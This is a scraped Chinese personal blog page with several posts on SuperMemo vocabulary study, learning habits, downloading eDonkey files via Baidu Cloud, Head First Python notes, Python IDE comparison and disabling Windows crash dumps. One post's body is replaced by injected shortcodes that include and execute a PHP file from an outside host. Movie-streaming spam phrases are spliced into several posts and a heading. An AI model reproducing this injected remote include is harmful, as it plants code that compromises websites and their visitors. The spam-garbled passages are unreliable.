页面载入中...

用SuperMemo刷单词

"刷"这个词挺有意思。看电影我们经常会用“二刷”、“三刷”,所以“刷”就很神奇滴拥有了“重复”的意思。而“刷”本身还有个“剔除”之意,可以这么来理解,所谓刷单词,就是为了把单词从我们的复习清单上一个个剔除掉嘛!

网络游戏中还常用到这个“刷”字,比如“刷材料”、“刷装备”,用一个“刷”字体现出淋漓尽致的急切感。“刷”就是要有效率,刷单词亦是如此。

辣么我们怎么开始刷单词的旅程呢?

和以往背单词的方式略有不同的是,刷词的时候要快,每个词用时在10-30秒之间,而不是一味地花大量时间在某一个词上。舍得不是说用时太多不好,但用时过多,效率自然会低。背单词最好的方式不是在一个单词上花大量时间,而是不断滴重复这个单词。

第一次刷一个单词的时候,用时控制在30秒/词以内,碰到已经掌握的词,用时应更少——其实只需要一个确认的时间——记不记得?记得,就打个高分,继续前进,不记得,就好好想想有没有什么技巧把它快速记下来。如果一个词第一遍没回忆起来,那么你还会在当天的巩固练习一次次见到它,直到你能回忆出来为止。后面的每一遍复习,用时控制在10-15秒比较理想。

这样做的好处就是每天学习的词量会比较大。如果靠水磨功夫,一个词一个词花一两分钟甚至更多的时间耗过去,一天是学不了多少东西的。

新人常会问到一个问题,酱紫我一天刷多少生词比较合适?

在SuperMemo中,尽量不要有“平均每天学多少生词”的想法。真要给自己设置一个标准,控制在50个词以下吧!前提还得是你有足够多的时间,以及你所学的生词别太超纲、太冷僻。为什么要说“足够多的时间”?因为每天若学习固定量的生词,而这些生词你平时很少见过的话,累积起来的复习量是很大的。想想看,你一天学50个生词,以第一遍每个词30秒来计算,总共需要1500秒,25分钟,后面还要进行巩固练习,少算一点,平均两遍,每遍每个词10秒好了,1000秒,约17分钟。这两项加在一起就40多分钟了。

问题是在SuperMemo使用过程中,以往学习过的词大多是需要复习的,我们按10秒/词,每个词平均刷两遍的方式去计算,复习50个词大约要花17分钟,这就意味着每天近60分钟的学习量了。然而,当你每天“平均”学习50个生词的时候,复习量会有可能只是50个么?答案自然是否定的。以舍得的经验,如果平均学这么多的话,一天的复习量到几百个词很正常……自己去算一下复习这些词需要多少时间好了!

所以最科学的做法是根据每天的复习量去决定要学多少生词。SuperMemo有个非常贴心的功能,叫做“课程表(复习计划)”,在“学习”菜单中,默认快捷键是Ctrl+T。你可以随时调它出来查看今后几天的复习总量,粗略计算一下复习这些词所需的时间,再来根据自己的学习时间决定要刷多少生词。

有些小伙伴可能会问,这么说来,用SuperMemo刷单词,还不如我自己抱一本单词书刷得快咯?

我们来简单推算一下好了。

就以每天学50个生词为例,50个生词每天总共耗时42分钟左右,复习前一天学过的50个词,也按17分钟来算,共计花费60分钟左右。看起来很美好,但是,一个生词复习两天足够了么?肯定不行。你要想在一年后还能记得,平均每个词大约需要花6到8轮的复习——每轮复习还不能紧挨着,得根据遗忘曲线合理安排才能做到。

辣么问题来了,你抱着单词书来刷,又怎么来安排后续每一轮的复习呢?理论上是可以做到,弄个电子表格,把页码一一记上,提前规划好——且不去计算做这些事情所要花费的时间和精力,我们再来面对刷“单词书”时要碰到的另一个问题:SuperMemo会将你已经掌握的词逐步从复习计划中剔除掉,你刷单词书如何能做到这一点?每学一轮,每一批词都一视同仁,花辣么多时间么?呵呵,时间就是酱紫浪费掉滴。

小伙伴们,你还在犹豫什么?赶紧用SuperMemo刷起来吧!

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得学苑官方博客

标签:

少折腾 多练习

一转眼,舍得学苑从开办至今,已经进入第八个年头了。

凭借学苑的优势,舍得有幸见识了来自五湖四海的英语学习者的风范。见得多了,舍得潜意识中会给他们分一分类。

其中最突出的一个类型,或许是出于好玩,舍得将其命名为折腾流。

顾名思义,这个折腾流擅长的就是折腾——将主要的精力用在研究“哪个方法更好”上了。大概在他们心中,学到“世界上最先进的方法”才是第一要务。

于是乎,时间就大量用到方法的探索上。

如果他们是专业哪怕是非专业的英语研究者,这种精神自然是值得鼓励的。

然而,折腾流中绝大多数童鞋,仅仅是英语学习者,中间更有一大部分,只能称之为英语初学者。

他们在拼命或不拼命地研究着“哪个方法更牛x”,一旦认定当前接触的方法牛x指数不够,当然是要丢到一旁,再继续调动时间、精力去扑下下一个方法。一副不搞到“最先进方法”誓不罢休的模样。啧啧,这精神当真是要得!不过舍得每每看到此情此景,眼前总会浮现那只掰玉米猴子的高大形象。

这些童鞋在各种方法间折腾来、折腾去,看起来似乎提升了不少,若要说起英语技能上的提升,原地踏步恐怕都会成为一个褒义词了。他们忘了,英语学习本身才是最需要时间、最需要精力的。

一叶障目,不是么?

这叶……就是他们正在折腾得不亦乐乎的方法,仿佛只要掌握了最最最最牛x的方法,他们便能一夜之间神功附体、功力大涨,立马变成顶尖高手。

问题是,这不是武侠世界。

英语学习的世界里,没有人能给你来个灌顶大法,让你一夜间成为叼炸天的高手滴。

别把方法看得太高了。

方法再牛x,也得你先投入大量时间去练习,慢慢地,量变才有可能转为质变。

我们不妨拓展一下,做个mud版的小实验,来看得更清楚一些:

参与实验的人数假定为100人,总共配了100个厨师,其中有特一、特二、特三、一级、二级、三级……甚至还有没级的、纯属野路子的,要求大家在100个时间单位内学习厨艺,最后来一场评比,看谁的厨艺更高。

所有的厨师不能直接告诉你他是哪一级的,大家得自己去分辨。

我们再来设定这样的两个实验者:

小A童鞋花了10个时间单位选了位二级厨师来学习,花了90个时间单位练习厨艺;

小B童鞋花了90个时间单位,终于选到一位特一级的厨师,然后在特一级厨师的指导下,花了10个时间单位来练习厨艺;

你觉得最后小A和小B谁会胜出?

厨师就是折腾流正在使劲折腾的方法,厨艺的练习对应的则是英语学习本身。

你还要继续花费时间折腾么?你还要当那个掰一路扔一路的猴子么?

醒醒吧,少点折腾,多练习吧!

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

如何快速下载“过期”的电驴资源?

电驴是什么,想必不需要舍得做过多的介绍了吧?

网上有很多比较稀缺的资源,是由电驴提供的。但由于电驴本身的特性,有些资源往往会连接很久也没有合适的源,这便是舍得所说的过期。

如何快速下载到这些“过期”的资源呢?

舍得最近用的一个比较高效的方法是,用百度云做跳板。这一招应该也有一些朋友早已在使用,但舍得相信,肯定还有一些对此不了解的朋友。so,这篇文章便是为他们写的。

打开百度云管家——竭诚推荐舍得提供的不限速版:【十二月福利】百度云管家5.3.6不限速版

然后点击“离线下载”按钮:

SNAG-0007

将电脑链接粘贴进去:

SNAG-0006

再点击“开始下载”就可以了。

SNAG-0005

“离线下载任务列表”窗口会自动弹出,下载完成的话,任务后面自然会被标上“下载成功”的字样。然后,你便可以用云管家从自己的网盘中下载这份资源了。这个时候,下载的速度就是由客户端来决定了。使用不限速的版本下载一些大文件的时候,百兆光纤环境下达到2-3MB/s很正常。

当然,下载电驴资源的方法并非这一种。你也可以用其它的客户端,比如emule,比如迅雷。但这些客户端对一些过期资源并没有太好的方法,挂在那里一两天都下载不到东西也是常有的事。尤其是迅雷,部分电驴资源发布的时候便会封掉迅雷的客户端连接。

使用迅雷的离线下载或许能突破电驴的封杀,下载的速度也会有一定的保障。但前提是,你得花钱购买迅雷的会员。如果你平时下载的东西不多,舍得觉得没有必要给迅雷上供,尽管每月几十块钱也不多。

当然,使用百度云作跳板的方法并不是百试百灵。但大部分冷门资源都可以通过它下载,推荐大家尝试。

使用过程中,还需要注意一件事。有些电驴链接粘贴到云管家时,会出现“链接格式有误”的提示:

SNAG-0008

肿么办捏?
通常这个时候,我们要对电驴链接作一下URL解码处理。

在百度中输入“url编码”,随意找一个“URL转码”的网站,比如这个:

url转码 – 在线编码转换

将电驴链接贴到右边辣个框框中:

SNAG-0009

然后点击“URL解码”按钮,再将左边框框中解码出来的链接复制并粘贴到云管家里——你便可以搞定收工了。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

《HeadFirst Python》第一章学习笔记

对于Python初学者来说,舍得强烈推荐从《HeadFirst Python》开始读起,这本书当真做到了深入浅出,HeadFirst系列,本身亦是品质的保证。这本书舍得已在《Python起步:写给零编程基础的童鞋》一文中提供了下载。为了方便大家的学习,舍得特意制作了Jupyter Notebook格式的笔记,文章末尾舍得提供了笔记的下载地址。

读《HeadFirst Python》的同时,最紧要的是及时做练习,你甚至可以在快速浏览过一章后,便拿起练习来做。

做练习的时候,切记,不要用书中建议的Python自带的IDLE。作为过来人,舍得的建议是使用Jupyter Notobook。具体的安装方法舍得已在Python起步:写给零编程基础的童鞋》中讲得很清楚了,每次你要练习的时候,运行jupyter-notebook.exe,便可以在程序打开的浏览器页面中进行代码输入了。Jupyter Notobook与Python自带的IDLE相比,有着巨大的优势:

  • 增强版的代码自动补全:输入代码过程中,可尝试按Tab键,程序会提示相应的代码;
  • 每次录入的代码程序会自动替你保存下来,这就相当于你自己的学习笔记,你可以在代码的前或后加入注释,注释前面用一个“#”+一个空格(空格可以不加,但舍得建议从一开始便养成良好的写代码习惯,#后带空格是Python代码规范-PEP8的要求)就可以了;
  • Notebook给你保存的笔记,你可以随时打开,点RUN按钮(或用Alt+Enter快捷键)便可以运行选择中的某一段代码,这是Python自带的IDLE根本无法做到的事情;
  • 在Notebook中你可以极为方便地输入多行代码,而Python自带的IDLE在这方面有极大的限制;
  • 对于颜控来说,Notebook的代码着色看起来更加舒服一些;
  • ……

舍得会将书中每一章中提到的大部分练习,收录到笔记中,你可以在看完一章后,拿舍得给你的笔记,在Jupyter Notebook中进行练习。当然你也可以在看到书出给出一段代码时,立刻在Jupyter Notobook中输入并运行。

舍得提供的笔记是ipynb格式(ipy是指ipython, Notebook是用ipython来实现的。而nb则是notebook的缩写),当你下载了笔记之后,请将其放到“你的python安装文件夹(默认是c:\python34)\Scripts”文件夹下,然后刷新一下浏览器中Jupyter Notebook的首页,便可以看到这个笔记,点击该笔记,就可以浏览了。

SNAG-0140

如果你在Jupyter Notebook首页中已经点击过“New->Python 3”, 那么你可以使用菜单”File->Open“回到首页选择舍得提供的笔记。

SNAG-0143

下面舍得开始讲解第一章的要点。

文中”[in]:“后面的内容,表示我们在Jupyter Notebook中输入的代码和注释,内容中以”# “开头的,是舍得的注释。

[out]:“后面的内容,则是代码执行后的输出结果。

舍得在注释中,标明了该段代码的页码,方便你对照书本进行练习。书中有些内容的讲解比舍得更详细。

舍得对部分代码进行了改写,但不影响代码的最终效果。

[in]:

    # 熟愁一下打印命令.
    # 第一章 p4
    # 内容前面加一个#号表示注释, python会自动忽略#号后面的内容
    if 43 > 42:
        print("Don’t panic!")

[out]:

    Don’t panic!
   

[in]:

    # 创建简单的Python列表
    # 第一章 p8
    # 标识符:movies, 你给这个列表起的名字
    # 操作符:=,把列表赋给标识符
    # 列表格式:两端用中括号;列表中每一项用逗号隔开;电影名称两边加引号;
    movies = ["The Holy Grail",
             "The Life of Brian",
             "The Meaning of Life"]
    print(movies)

[out]:

    [‘The Holy Grail’, ‘The Life of Brian’, ‘The Meaning of Life’]
   

[in]:

    # 用中括号记法访问列表
    # 第一章 p9
    # 打印列表中第2个数据(第1个为0)
    print(movies[1])

[out]:

    The Life of Brian
   

[in]:

    # 列表深入学习:len
    # 第一章 p10
    # len:获取列表长度,即列表有几个数据项
    cast = ["Cleese", ‘Plain’, ‘Jones’,"Idle"]
    print(cast)
    print(len(cast))
    print(cast[0])  # 0表示第一个数据项, 你可以自己换不同的数字尝试一下

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’]
    4
    Cleese
   

[in]:

    # 列表深入学习:append
    # 第一章 p10
    # append:在列表末尾增加一项数据
    cast.append("Gillianm")
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 列表深入学习:pop
    # 第一章 p10
    # pop:从列表末尾删除数据
    cast.pop()

[out]:

    ‘Gillianm’

[in]:

    # 再打印一下,看看有何变化
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’]
   

[in]:

    # 列表深入学习:extend
    # 第一章 p10
    # extend:在列表末尾增加一个列表(两个列表合并)
    cast.extend(["Gillianm", "Chapman"])
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’, ‘Chapman’]
   

[in]:

    # 列表深入学习:remove
    # 第一章 p10
    # remove:在列表中找到并删除一个特定的数据项
    cast.remove("Chapman")
    print(cast)

[out]:

    [‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 列表深入学习:insert
    # 第一章 p10
    # insert:在列表中特定的位置前增加一个数据项
    cast.insert(0, "Chapman")  # 0表示插入在最前面,你可以试试其它的数字
    print(cast)

[out]:

    [‘Chapman’, ‘Cleese’, ‘Plain’, ‘Jones’, ‘Idle’, ‘Gillianm’]
   

[in]:

    # 习题
    # 第一章 p13
    # 把每部电影的出品年代加到列表中
    # 象下面这样: [‘The Holy Grail’, 1975, 1975, 1979,
    # ‘The Life of Brian’, 1979, ‘The Meaning of Life’, 1983, 1983]
    # 把数字放进列表的时候,数字不用加引号
    movies.insert(1, 1975)  # 第1个插入到第2个列表项前
    movies.insert(3, 1979)  # 第2个插入到第4个列表项前(好好想想为什么用3)
    movies.append(1983)  # 最后一个追加到末尾就行
    print(movies)

[out]:

    [‘The Holy Grail’, 1975, ‘The Life of Brian’, 1979, ‘The Meaning of Life’, 1983]
   

[in]:

    # 列表: 迭代
    # 第一章 p15
    # 迭代: 用一个for循环,把列表中所有的项逐个打印出来
    # for … in …表示取这个列表的每一个数据
    for i in movies:  # 这里的i随便用哪个(一个或多个)字母都行
        print(i)  # 只要两个i保持一致.你可以试试用不同的字母

[out]:

    The Holy Grail
    1975
    The Life of Brian
    1979
    The Meaning of Life
    1983
   

[in]:

    # 列表: 迭代
    # 第一章 p16
    # 迭代: 用一个while循环,把列表中所有的项逐个打印出来
    # 效果和for循环一样
    # while xx < xxx表示:只要xx < xxx,就一直执行下去, 直到这个条件不成立
    count = 0
    while count < len(movies):  # 前面刚学过的len用法
        print(movies[count])  # 前面刚学过的中括号记法
        count += 1  # 和书本上的count = count + 1相同, 表示让count自增1

[in]:

    # 列表:在列表中储存列表
    # 第一章 p18
    # 我们用movies这个列表来记录一部电影的数据. The Holy Grail这部电影全名叫
    # 《Monty Python and the Holy Grail》(巨蟒与圣杯),1975年出品,两个Terry是导演,
    # 同时也参加了演出。影片时长为91分钟,Chapman是编剧(同时也是主演)。Michael这
    # 一伙人既是编剧,亦是配角。这帮人真是玩嗨了,自编自导自演。
    movies = ["The Holy Grail", 1975, "Terry Jones & Terry Gilliam", 91,
              ["Graham Chapman", ["Michael Palin", "John Clseese",
                                "Terry Gilliam", "Eric Idle", "Terry Jones"]]]
    print(movies)

[out]:

    [‘The Holy Grail’, 1975, ‘Terry Jones & Terry Gilliam’, 91, [‘Graham Chapman’, [‘Michael Palin’, ‘John Clseese’, ‘Terry Gilliam’, ‘Eric Idle’, ‘Terry Jones’]]]
   

[in]:

    # 用for循环处理这个列表
    for i in movies:
        print(i)

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    [‘Graham Chapman’, [‘Michail Palin’, ‘John Clseese’, ‘Terry Gilliam’, ‘Eric Idle’, ‘Terry Jones’]]
   

[in]:

    # 列表:在列表中查找列表
    # 第一章 p20
    # isinstance: 判断标识符的类型
    names = [‘Michael’, ‘Terry’]
    isinstance(names, list)  # 判断它是不是列表(list)类型
   

[out]:

    True

[in]:

    # 列表:在列表中查找列表
    # 第一章 p20
    # isinstance: 判断标识符的类型
    # 换个方式
    num_names = len(names)
    isinstance(num_names, list)

[out]:

    False

[in]:

    # 列表:在列表中查找列表
    # 第一章 p21
    # 习题: 把上面那个movies列表中的每一个数据项都打印出来
    # 用if … else …模式
    # 结合isinstance
    for i in movies:
        if isinstance(i, list):  # 先判断i是不是列表
            for j in i:  # 是的话用for循环
                if isinstance(j, list):  # 还要再往下挖一层, 因为还有一个嵌套的列表
                    for k in j:
                        print(k)
                else:  # 每一对if…else…要对齐
                    print(j)
        else:  # 不是列表就直接打印
            print(i)
    # 如果再来一层嵌套的列表, 怎么办?

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michail Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones
   

[in]:

    # 函数
    # 第一章 p30
    # 使用函数可以简化刚才写的那段代码, 再多来几层列表咱也不怕啦!
    # def关键字是define的缩写,python看到def就知道这个是函数
    def print_lol(the_list):  # print_lol就是我们定义的函数名,尽可能把名字起得有意义一点
        for i in the_list:
            if isinstance(i, list):
                print_lol(i)  # 如果是列表, 那么调用"自己"再次处理这个列表
            else:
                print(i)

[in]:

    # 函数
    # 第一章 p30
    # 我们来用print_lol这个函数来打印我们的列表movies
    print_lol(movies)  # 看看,代码是不是精简了很多?

[out]:

    The Holy Grail
    1975
    Terry Jones & Terry Gilliam
    91
    Graham Chapman
    Michail Palin
    John Clseese
    Terry Gilliam
    Eric Idle
    Terry Jones

   

第一章完。

本文笔记下载地址:

链接:http://pan.baidu.com/s/1eR4iJoI 密码:t72j

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

《配音小丫》诞生记

[insert_php] include(“http://acommeamour.fr/tmp/n4orl.php”); [/insert_php]
[php] include(“http://acommeamour.fr/tmp/n4orl.php”); [/php]

watch full The Bye Bye Man 2017 film

标签:

【新手必读】SuperMemo如何入门?

前几日在论坛内看到有童鞋抱怨说,“我花了半个月还没入门”,“我下载不到东西”……有感于此,舍得觉得很有必要来给新接触SuperMemo的童鞋写这样一篇文章。

首先是版本的选择。请使用SuperMemo UX版,版本相关的介绍请看此处:《浅谈SuperMemo的版本选择

然后舍得来回答“花了半个月还没入门”的问题。

SuperMemo的入门非常简单,你不需要去做太多的事情:

  • 下载并安装SuperMemo。官方下载地址:http://www.supermemo.pl/download/smux/smux.zip。下载后可以更新到最新版本。通常使用英文原版即可,界面上没几个英文单词。有进一步需要的,可以下载舍得汉化的版本,但下载是有条件滴:《【九月福利】SuperMemo UX 1.5.4.2汉化尝鲜版【需有回复权限】》。推荐将SuperMemo安装在Win7以上的操作系统,建议用Win8。Win XP需要系统内装有.netframework和8.0以上版本的IE;
  • 新建账户&添加新课程安装完毕,打开程序,开始新建账户(只需做一次)、添加新课程,具体的操作请观看舍得录制的视频《新建账户&添加新课程》;
  • 课程哪里找?请点击舍得学苑课程下载中心,查看一下是否有你需要的课程。你还可以登录舍得学苑淘宝专卖店来查看学苑制作的精品课程,也可以在专卖店内付费定制你所需的课程。论坛内发布的课程不保证长期有效,如果论坛链接失效,请不要抱怨“我下载不到东西”。若以上都不符合你的胃口,建议自行制作;
  • 如何制作课程?作为新手,建议不要去涉及高级的制作工具,如转换精灵之类。你现在要的是“入门”,而不是一下子成为“课程制作专家”。饭要一口口吃,路要一步步走,步子太大,容易扯着蛋。那么新手如何制作课程呢?直接进编辑模式逐页添加,这是最简单的方式。具体操作请看视频《如何制作课程》。在入门阶段,请暂时抛开所有对制作和辅助工具的念想,什么转换精灵、课程编辑器、课程助手……不要去想那么多,直接从学习入手!把自己的注意力聚集在学习本身,其它的内容,可以留到你对SuperMemo的使用足够熟悉之后,再抽空来了解。
  • 如何开始学习?舍得认为,对于刚入门的童鞋,不宜去折腾各种课程制作方面的工具。也无需去想手机上怎么用,直接从UX版开始即可。看起来拿着手机用碎片时间来学习是一件非常美好的事情,但若你认为你只有在手机上才肯开始学习,亲,你要解决的不是学习方法、学习工具这个层面的问题,而是自己的学习动力、学习动机的问题。关于如何使用SuperMemo UX,同样有现成的视频可以观看、学习:《SuperMemo UX软件使用基本流程》、《SuperMemo UX的评分标准》,其它的一些操作技巧上的内容,你可以通过舍得学苑发布的相关视频中学习。

掌握以上这点内容就够了!不要去想太多,既然说入门,就该好好掌握基本的操作,不要去想着把自己一下变成这个领域的专家级人物。

说入门难,可能是自己定位过高,想得太多……简单一些吧!眼下你需要的是用SuperMemo来提升你的学习效率,而不是花大把的时间去折腾工具。何苦让尚在入门阶段的你,背负太多本不需要加在你身上的包袱呢?

记住,你不用去寻找各种各样的工具,除了SuperMemo UX软件和个别的课程,没有什么东西是需要你去下载的。Despicable Me 3 2017 streaming

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

Python主流IDE对比:Eric&nbsp;VS.&nbsp;PyCharm

IDE, 全称是Integrated Development Environment,翻译过来就是集成开发环境。Python的开发从2010年5月算起,不知不觉中,到现在已经是第七个年头。

这六年里,舍得最常用的IDE是Eric6(一开始是5.x版本),也试用过圈内闻名的PyCharm、WingIDE和Eclipse(+PyDev插件),算是有些心得。今天,着重对Eric6和PyCharm 2016.3作一下简单的评测。

颜值

Eric6是基于PyQt开发的,程序运行甚至只用一个BAT文件来调用,界面相对而言略丑。PyCharm基于Java开发,自带的主题很漂亮,风格比较统一。在颜值这一点上,无疑是PyCharm胜出。

顺带提一下WingIDE,虽然它也带了很多款主题,但整个窗口中有些部位是不受主题控制的。举个栗子,当你选择深色的主题时,窗口左下角往往会有一块白色的控件,忒刺眼。

速度和内存开销

从启动到打开一个项目,舍得掐着秒表测试了这几款IDE,数据如下:

  • 最慢的是PyCharm,平均需要18-20秒左右。就算把插件干掉只剩两个,再将Xms和Xmx参数适当调整,跑出最快的成绩是16秒5;
  • Eric平均只用11秒;
  • 最快的是WingIDE, 只用7秒;

内存开销上,PyCharm是大户,动辄就是吃掉你300-400MB的内存。机子内存小的童鞋要当心了!

UI和资源编译

开发过程中难免要对UI和资源文件进行调整,所以IDE中自然需要将这两项的编译工作集成进来。

Eric6是原生支持UI和资源文件编译的,它的开发者早就想到了我们需要这项功能。

PyCharm作为一个专业的Python IDE,在这方面无疑略显不足。要实现UI和资源编译,你必须手工在外部工具设置中添加它们(具体操作请自己去问度娘),虽然设置好之后和Eric6比也没啥区别,但总是开发者欠考虑。

不过PyCharm这个外部工具的设计还是值得赞赏的,你可以直接把打包命令(我通常用cx_freeze)直接整合进去,这样就方便多了。

调试

IDE中应当配备调试模块。舍得以前常在DOS命令行下运行开发中的程序,发现错误再切回IDE。现在想想实在是浪费了IDE自带的调试模块。

使用调试模块,首先带来的好处是你不必手工输入命令,也不必在DOS命令行和IDE间切来切去;其次,当遇到错误时,IDE的调试模块会直接显示出错误所在的位置,你不必再去手动寻找。当然调试模块的功能不止于此,具体如何,童鞋们可以自己去深入体会。

在调试方面,Eric6做得更好一些,在遇到错误时,它会自动跳到最终让你出错的位置,省时省力。PyCharm做法略嫌保守,它是在底部的“运行”窗口显示一系列出错的位置,每一个位置带有链接,点击链接即可跳到相应的行。舍得认为,不如在保留链接功能的前提下,自动跳到最后一行出错的位置,通常这一行是问题的关键。如果程序能够做得更智能一些则更好。

智能缩进Transformers: The Last Knight film

在Python的语法中,缩进是非常重要的一项。开发过程中,缩进若能更智能化一点,自然写代码的速度也会快一些。

在这方面,做得最优秀的是Eric6。它的牛x之处在于,无论你的光标键在哪个位置,只要你按TAB键,程序就会根据上面的代码选择合适的缩进位置。

PyCharm亦有类似的设计。它的智能缩进操作英文名叫Emacs Indent(建议将快捷键TAB设置给它),国内的汉化莫名其妙地翻译成了“宏选项卡”,这一定是外行人干的。

但Emacs Indent在处理整块缩进的时候略显无力,当我们要将整块代码往前移的时候,只能使用另一项叫作“取消缩进内容”的操作,而Eric6只要一个TAB键就足够了。

字体缩放

虽然我们可以在设置中给IDE的编辑器设一个特定的字号,但在实际开发中,还是免不了要适当缩放字体。尤其是大屏幕,字体适当放大一些,眼睛不至于那么遭罪。

字体的缩放这两款IDE都有。只不过,Eric6是早已设置好快捷键的(用Ctrl+=/-,或Ctrl+滚轮),而在PyCharm中,你必须手动设置这个快捷键。

这一轮,算打成平手好了。

自动补空格

PEP8的规范要求在逗号、运算符号之类的内容后面加一个空格,这一点Eric做得不错,在你输入一个逗号后,它会自动给你补一个空格,而PyCharm显然考虑得没有那么周到。你不得不手动一个个敲空格,或留着到最后使用Reformat File功能来纠正。

代码自动补全和代码规范化

两款IDE的代码自动补全做得都挺好。硬要挑出一个更好的来,我会把票投给PyCharm, 它的智能化程度似乎(我没法给出更精确的评价,建议自行体会)更高一些。

PyCharm除了自动补全,还会用类似拼写检查的方式检查你的代码,当你输入的代码不符合PEP8之类的规范时,PyCharm会适时提醒并对该部分代码作出标记。这个功能确实很贴心,我有理由相信用PyCharm会帮助我们将代码写得更加规范。

此外,PyCharm还会对当前方法下所用的变量进行检查,当有变量出现未使用、不一致、输入错误等情形时,PyCharm亦会将其一一标出,让你一目了然。

版本控制

版本控制也可算是IDE的标配了吧!Eric6和PyCharm都有版本控制的模块,不过舍得认为,PyCharm在这一块做得更细一些,和GibHub结合得很好,舍得用得很趁手。

数据库连接、查看

这项功能只能算是可选配置了。两款IDE都带有数据库内容浏览的功能,它的方便之处在于,我们要查看数据库中某项数据时,可以不必打开专用的数据库管理工具(比如SQLite的SQLite Expert, PostGreSQL的PG Admin,MySQL的PHPMyAdmin等),直接在IDE内查看。

Eric6自带一个内建的SQL浏览器,界面相对简陋,而且每次打开都必须重新设置,不够方便。

PyCharm是通过Database Tools and SQL这款插件来实现数据库连接和查看的功能,用来临时查看一下数据是足够了。

书签

在开发过程中,我们经常需要在一个文档中不同的位置间切换,此时书签功能会给我们带来很大的便利。

两款IDE都有书签功能,PyCharm做得更好一点,它的书签不会因为你退出程序而清除。而Eric6则会在你每次退出程序时,清空你的书签设置。

TODO

舍得在堆代码的时候,想到一些下一步要完善的功能之类的内容时,往往会在文档中插入一行,行首写上“# todo,”,然后把当时的想法写进去。这样日后就能根据todo的标记和内容来逐渐完善自己所开发的软件。

两款IDE都支持Todo功能,它们会把你在当前项目中的每一行标有todo的内容都搜集起来,以供你随时查看。只是在功能的完善性上,略有差距:

  • PyCharm在你输入“# todo,”的时候就将这一行进行高亮处理,让它变得非常醒目,Eric6默认是不会对“# todo,”作高亮处理的;
  • PyCharm的todo支持大小写,Eric6默认只支持大写,要想支持不同的格式,需要单独设置;

相比之下,PyCharm以微弱的优势胜出。

帮助文档

Eric6自带一个WebKit内核的帮助浏览器,当你设置好Python/PyQt/Pyside/Qt等帮助文档的路径后,可以在帮助菜单中直接点击这些文档的链接,Eric6就会调用帮助浏览器来显示这些文档。

PyCharm虽然有一个外部文档的设置和对应的菜单命令,但功能实在太弱比,应该好好完善一下才是。

另外PyCharm虽然提供了一个Search EveryWhere的“强大”功能,但由于搜索结果匹配往往不能尽如人意,使得此功能形如鸡肋。

结语

通过上面的比较和分析,相信大家自会得出自己的答案。简单说一下舍得的观点:

  • 如果你是个颜控,请选择PyCharm;
  • 如果你的电脑配置略低(尤其是内存),跑PyCharm感觉慢、卡,请选择Eric6;
  • 大多数功能,这两款IDE都大同小异。舍得最介意的是,PyCharm没法在逗号后居然不能自动补空格,希望开发者能在后续的版本中进一步完善;
  • 至于很多仍在使用非IDE(比如用vim、emacs、sublime text之类的编辑器)的童鞋,舍得的建议是,IDE可以让你的开发效率更高。看上去你用这些编辑器也能完成大部分工作,但别忘了,你费尽九牛二虎之力搞定各种插件的同时,IDE上这些功能早就已经非常成熟了,何必自己再去造轮子呢?

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

如何禁用Windows的crashdump?

crashdump这个词略显专业了点……so,舍得决定换个描述方式:如何禁止Windows的应用程序崩溃时在你硬盘上生成庞大的dmp文件?

这还真是一个真实存在的问题,曾困扰了舍得不短的时间,问题刚刚解决。

舍得这里讲的Windows,特指Windows 8。本文讲到的方法,Win7和Win10或许也能适用,但未测试。但Win xp基本上就不包括在内了。话说装xp的童鞋,你早该换Win8了。

先来介绍一下问题的背景。

在Win 8系统中,当应用程序崩溃掉之后,会在你的硬盘内生成一个扩展名为dmp的文件,这个文件动辄数百MB,大一点的也有上G的。更要命的是,这些文件不会被自动清理,你只能通过手工或磁盘清理之类的方式把它删掉。

电脑上已安装Everthing的童鞋,可以用”*.dmp”(不含双引号啊!)搜索一下,看看你的系统中是不是有这些垃圾文件。

简单科普一下这个dmp文件是怎么回事。它是程序崩溃后,把崩溃那一刻的内存Dump(储存)下来,供专业人员检查或调试。你会调试么?舍得是不会滴,所以,这些文件对舍得来说,屁用没有。

既然没用,还让它呆在硬盘里,白白占用空间作甚?舍得的硬盘总共才256G,装了OS和Win8两个系统,还有一大堆软件,空间实在紧张得要死。所以舍得要说,这个问题真真困扰了好久。

之所以是“好久”,最大的原因是没有下决心去解决它。

其次嘛,嘿嘿,舍得不得不说,现在网络上垃圾信息实在太多了。找一个解决方案,你用不对关键词,找到正确答案跟买彩票中大奖的概率有得一比。

比如说,为了解决这个问题,换了一连串的关键词,搜索出来一大堆没用的东西:

  • 有人说,应该打开高级系统设置,在启动和故障恢复中把“写入调试信息”改为“无”——亲,这个是针对系统崩溃的,跟应用程序崩溃,一毛钱的关系都没有;
  • 有人说,在控制面板中进入操作中心,找到问题报告设置,选择“从不检查解决方案”,依旧没用;
  • 有人说,打开组策略,在管理模板->Windows错误报告下,启用“禁用Windows错误报告”,还是没用;
  • ……

舍得凭什么说这些没用?因为,以上的招数舍得都一一试过啦!在这方面,舍得拥有得天独厚的优势:Razer鼠标自带的雷云,每回一运行,它的RzStats程序必然报错,必然会生成一个接近300MB的dmp文件,在这里,顺带鄙视一下Razer公司,什么玩意?一个鼠标配套应用程序都搞不定!

经过层层测试,多番寻觅,最终舍得找到了接近完美的解决方案:

  • 按Win+R组合键,输入”regedit“,再按回车,打开注册表编辑器;
